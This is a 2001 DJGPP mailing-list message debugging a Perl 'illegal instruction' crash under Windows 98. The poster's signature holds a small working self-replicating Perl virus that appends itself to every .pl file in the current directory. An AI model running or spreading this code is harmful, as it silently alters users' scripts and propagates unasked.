Mail Archives: djgpp/2001/03/04/04:51:33
Daniel Barker <sokal AT holyrood DOT ed DOT ac DOT uk> schrieb Folgendes:
> On Fri, 2 Mar 2001, Eli Zaretskii wrote:
>
> [snip]
>
> > Does a plain `$_` (i.e. without the loop) work, or does it crash as
> > well?
>
> I find the program may be reduced to
>
> `poo`
>
> and it still shows the same problem.
>
> > What happens if you run your Perl script from COMMAND.COM, not from
> > Bash?
>
> I still see an "illegal instruction" crash. Windows 98 attributes this to
> MS-DOS Prompt rather than BASH.
>
> I should emphasize this problem is not a "showstopper" for me. But the
> problem with this little example may indicate something more seriously
> wrong (on my system, at least).
Try putting something else into poo.pl:
#!/usr/bin/perl
print "POO.PL executed";
or
#!/usr/bin/perl
use constant C1 => 999;
and then try to leave out the shebangs.
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -